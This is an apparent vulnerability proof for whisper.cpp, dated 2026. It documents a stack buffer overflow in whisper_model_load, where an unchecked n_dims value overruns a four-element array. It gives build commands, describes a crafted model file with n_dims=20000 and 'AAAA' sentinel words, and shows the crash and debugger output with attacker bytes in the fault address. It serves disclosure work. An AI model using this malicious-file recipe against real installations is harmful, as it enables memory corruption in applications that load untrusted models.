ybgwon96's picture
Upload 4 files
339067e verified
|
Raw
History Blame Contribute Delete
2.52 kB
# Dynamic crash proof β€” whisper.cpp unchecked `n_dims` stack buffer overflow
Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64).
## Target
- repo: `ggml-org/whisper.cpp` @ `6fc7c33`
- Sink: `src/whisper.cpp` `whisper_model_load()` tensor-read loop β€” `int32_t ne[4]` written with an
unbounded, attacker-controlled `n_dims` count.
## Build (Release, CPU-only, `-fstack-protector-all`; NO sanitizer)
```
cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
-DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
-DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
cmake --build build-rel --target whisper-cli
```
## Malicious input β€” `poc_whisper_ndims.bin` (80 KB)
Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop),
then ONE tensor record with `n_dims = 20000` followed by 20000 sentinel words `0x41414141` ("AAAA").
## Run + crash
```
whisper_model_load: type = 1 (tiny)
whisper_model_load: adding 51865 extra tokens
whisper_model_load: CPU total size = 77.11 MB <- model fully built; entering tensor-read loop
<SIGSEGV>
exit=139 (128 + SIGSEGV(11))
```
## lldb stop frame β€” attacker bytes in the fault address
```
* thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)
frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36
-> str xzr, [x0, #0x8] ; x0 = 0x141414149
```
The faulting address `0x141414149` is the attacker sentinel `0x41414141` ("AAAA"): the unbounded
`for (i=0;i<n_dims;++i) read_safe(loader, ne[i])` loop wrote our chosen 4-byte words far past the
4-element stack array `ne[4]`, overwriting adjacent stack state (including the `std::istream` object
pointer used by the very next `read_safe`), which is then dereferenced β†’ crash. This demonstrates
**attacker-controlled stack memory corruption** (CWE-787), not a benign parser error.
## What this proves
1. `n_dims` from the model file is used as an unchecked loop bound over a fixed `int32_t ne[4]`.
2. The loop writes attacker-chosen 4-byte values sequentially past the array β€” the classic
controlled-length/controlled-content stack smash.
3. Reached via the standard `whisper_init_from_file` β†’ `whisper_model_load` path that EVERY
whisper.cpp application uses to load a model. (The sibling site `whisper_vad_init_with_params`
has the identical bug on the VAD-model path.)
```